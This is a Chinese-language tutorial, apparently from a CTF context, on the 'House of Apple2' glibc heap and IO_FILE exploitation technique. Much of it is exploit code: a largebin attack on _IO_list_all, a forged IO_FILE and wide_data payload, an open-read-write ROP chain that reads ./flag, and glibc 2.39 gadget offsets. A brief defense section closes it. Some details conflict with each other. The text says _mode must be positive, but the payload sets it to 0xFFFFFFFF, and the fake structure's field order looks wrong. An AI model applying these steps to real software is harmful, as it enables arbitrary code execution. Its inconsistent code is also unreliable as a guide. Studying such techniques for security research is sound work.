house of apple2的演变由来及其源码解析
字数 1404 2025-12-16 12:35:40
House of Apple2 攻击技术深入解析
一、技术背景与演进
1.1 IO_FILE 基础结构
在GLIBC中,IO_FILE是文件操作的核心数据结构,其完整定义如下:
struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
// ... 其他字段
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 关键字段
// ... 其他字段
int _mode;
};
1.2 GLIBC 2.24 的安全防护
GLIBC 2.24引入了vtable验证机制,通过IO_validate_vtable函数防止直接伪造虚表:
IO_validate_vtable (const struct _IO_jump_t *vtable) {
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
此检查确保vtable指针必须位于合法的__libc_IO_vtables段内,彻底阻断了直接伪造vtable的攻击路径。
二、House of Apple2 攻击原理
2.1 攻击思路转变
由于直接伪造vtable被防护,House of Apple2转向利用_IO_wide_data成员进行攻击:
struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base; // 关键字段
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base; // 关键字段
wchar_t *_IO_buf_end;
// ... 其他字段
const struct _IO_jump_t *_wide_vtable; // 无验证的vtable
};
关键发现:_wide_data->_wide_vtable指针没有类似IO_validate_vtable的验证机制。
2.2 攻击条件准备
成功的House of Apple2攻击需要满足以下条件:
- 内存布局控制:通过largebin attack等技术向
_IO_list_all写入可控堆地址 - 结构伪造:在堆块中伪造完整的IO_FILE结构和IO_wide_data结构
- vtable绕过:IO_FILE的vtable指向合法vtable(如
_IO_wfile_jumps),而_wide_data->_wide_vtable指向伪造的vtable
三、详细攻击流程
3.1 调用链分析
攻击的核心调用链如下:
exit → fcloseall → _IO_cleanup → _IO_flush_all → _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
关键函数_IO_wfile_overflow的源码分析:
wint_t _IO_wfile_overflow (FILE *f, wint_t wch) {
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) {
if (f->_wide_data->_IO_write_base == 0) {
_IO_wdoallocbuf (f); // 关键调用点
}
// ... 其他逻辑
}
// ... 其他逻辑
}
void _IO_wdoallocbuf (FILE *fp) {
if (fp->_wide_data->_IO_buf_base) return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // 最终攻击点
return;
// ... 后备处理
}
3.2 结构伪造要求
伪造的IO_FILE结构需要满足以下条件:
# 关键字段设置
_wide_data = 可控堆地址A # *(fp + 0xa0) = A
_wide_data->_IO_write_base = 0 # *(A + 0x18) = 0
_wide_data->_IO_buf_base = 0 # *(A + 0x30) = 0
_wide_data->_wide_vtable = 可控堆地址B # *(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate = 目标地址C # *(B + 0x68) = C
3.3 注意事项
攻击实施时需要特别注意:
- 模式设置:
_mode必须设为正数,否则走窄字符路径 - 宽数据指针:
_wide_data不能为NULL且必须可写 - 缓冲区状态:
_IO_write_ptr > _IO_write_base确保需要flush - 标志位设置:正确设置
_flags标志位
四、实际攻击示例
4.1 漏洞程序分析
示例程序存在典型的堆漏洞:
// 简化版漏洞程序
void *chunk_list[80];
int chunk_size[80];
void add() {
int index, size;
scanf("%d", &index);
scanf("%d", &size);
chunk_list[index] = malloc(size); // 无大小检查
chunk_size[index] = size;
}
void edit() {
int index, size;
scanf("%d", &index);
scanf("%d", &size);
read(0, chunk_list[index], size); // 堆溢出
}
void delete() {
int index;
scanf("%d", &index);
free(chunk_list[index]); // 未置空,UAF
}
4.2 利用步骤
步骤1:信息泄漏
# 泄漏堆地址
add(3, 0x60)
delete(3)
show(3) # 泄漏堆地址
heap_base = leaked_value & 0xffffffffff000
# 泄漏libc地址
add(0, 0x420)
add(1, 0x410)
delete(0)
show(0) # 泄漏libc地址
libc_base = leaked_value - 0x21ace0
步骤2:Largebin Attack
# 构造largebin攻击
add(2, 0x430)
target = libc_base + libc.sym['_IO_list_all'] - 0x20
# 伪造largebin chunk
payload = p64(libc_base + 0x21b0d0) * 2
payload += p64(heap_base + 0x300)
payload += p64(target)
edit(0, 0x100, payload)
add(5, 0x460) # 触发largebin attack
步骤3:构造伪造结构
# 伪造IO_FILE结构
fake_io = b""
fake_io += p64(0) # _flags
fake_io += p64(0) # _IO_read_ptr
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
# ... 填充其他必要字段
fake_io += p32(0xFFFFFFFF) # _mode
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(libc_base + libc.sym['_IO_wfile_jumps']) # 合法vtable
# 伪造wide_data和wide_vtable
fake_io += p64(wide_data_addr) # _wide_data
fake_io += p64(wide_vtable_addr)
fake_io += p64(magic_gadget) # 目标函数地址
4.3 ORW利用链构造
在GLIBC 2.35环境下,可以通过控制RDX寄存器实现ORW:
# ROP链构造
orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2) # open
orw += p64(syscall)
orw += p64(pop_rdi) + p64(3) # fd
orw += p64(pop_rsi) + p64(buf_addr)
orw += p64(pop_rdx) + p64(0x100)
orw += p64(read_addr)
orw += p64(pop_rdi) + p64(1) # stdout
orw += p64(pop_rsi) + p64(buf_addr)
orw += p64(pop_rdx) + p64(0x100)
orw += p64(write_addr)
五、GLIBC 2.39的适配
5.1 变化与挑战
GLIBC 2.39中setcontext的调用约定发生变化,传统的RDX控制方法失效。需要采用新的magic gadget:
# 2.39适配方案
swapcontext = libc_base + 0x5814D
svcudp_reply = libc_base + 0x17923D
# 通过svcudp_reply控制R12,再通过swapcontext控制RSP
5.2 新的利用链
# 使用swapcontext进行栈迁移
fake_io += p64(svcudp_reply) # 控制R12
fake_io += p64(swapcontext) # 栈迁移
fake_io += p64(rop_chain_addr) # 目标ROP链
六、防御与检测
6.1 防护措施
- 堆完整性检查:强化堆元数据验证
- IO结构验证:增加
_wide_data相关指针的验证 - vtable强化:扩展vtable验证到wide_vtable
6.2 检测特征
- 异常的
_IO_list_all指针值 - 非法的wide_vtable地址范围
- 异常的IO_FILE标志位组合
七、总结
House of Apple2代表了IO_FILE利用技术的重要演进,通过绕过GLIBC的安全机制实现了可靠的代码执行。理解其原理对于二进制安全研究和防护措施开发都具有重要意义。随着GLIBC版本的更新,攻击技术也在不断演进,需要持续关注新的利用技术和防护方案。